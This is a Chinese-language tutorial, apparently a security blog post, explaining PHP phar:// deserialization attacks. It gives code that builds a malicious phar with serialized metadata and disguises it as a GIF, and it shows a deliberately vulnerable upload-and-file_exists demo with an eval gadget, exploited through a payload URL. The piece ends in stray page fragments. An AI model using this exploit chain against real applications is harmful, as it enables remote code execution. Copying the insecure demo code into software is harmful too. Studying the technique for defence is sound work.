利用 phar 拓展 php 反序列化漏洞攻击面
概要
来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞。
这个新的攻击方式被他公开在了美国的BlackHat会议演讲上,演讲主题为:”不为人所知的php反序列化漏洞”。它可以使攻击者将相关漏洞的严重程度升级为远程代码执行。我们在RIPS代码分析引擎中添加了对这种新型攻击的检测。
关于流包装
大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://
,zlib://
或php://
。
例如常见的
include('php://filter/read=convert.base64-encode/resource=index.php'); include('data://text/plain;base64,xxxxxxxxxxxx');
phar://
也是流包装的一种
phar原理
a stub
可以理解为一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
官方手册
phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
demo
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
<?php class TestObject { } $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $o -> data='hu3sky'; $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
可以明显的看到meta-data是以序列化的形式存储的。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
phar_fan.php
<?php class TestObject{ function __destruct() { echo $this -> data; // TODO: Implement __destruct() method. } } include('phar://phar.phar'); ?>
将phar伪造成其他格式的文件
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
<?php class TestObject { } $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头 $phar ->addFromString('test.txt','test'); //添加要压缩的文件 $object = new TestObject(); $object -> data = 'hu3sky'; $phar -> setMetadata($object); //将自定义meta-data存入manifest $phar -> stopBuffering(); ?>
使用时可以修改后缀为gif
利用条件
phar文件要能够上传到服务器端。
如file_exists()
,fopen()
,file_get_contents()
,file()
等文件操作的函数
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:
、/
、phar
等特殊字符没有被过滤。
漏洞验证
upload_file.php
,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gifupload_file.html
文件上传表单file_un.php
存在file_exists()
,并且存在__destruct()
upload_file.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>ea3y_upload_file</title> </head> <body> <form action="upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="upload" /> </form> </body> </html>
upload_file.php
<?php if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" .$_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; }
file_un.php
<?php $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } file_exists($filename);
首先是根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a,
然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://
执行代码
构造代码
<?php class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } $phar = new Phar('phar.phar'); $phar -> stopBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $object = new AnyClass(); $object -> output= 'phpinfo();'; $phar -> setMetadata($object); $phar -> stopBuffering();
生成后修改后缀为GIF 即可
上传gif之后访问
payload:
http://127.0.0.1/ceshi1/file_un.php?filename=phar://upload_file/phar.gif
文章引用学习:https://xz.aliyun.com/t/2715
[CISCN2019 华北赛区 Day1 Web1]Dropbox
简介
1
简介
1 1
简介
111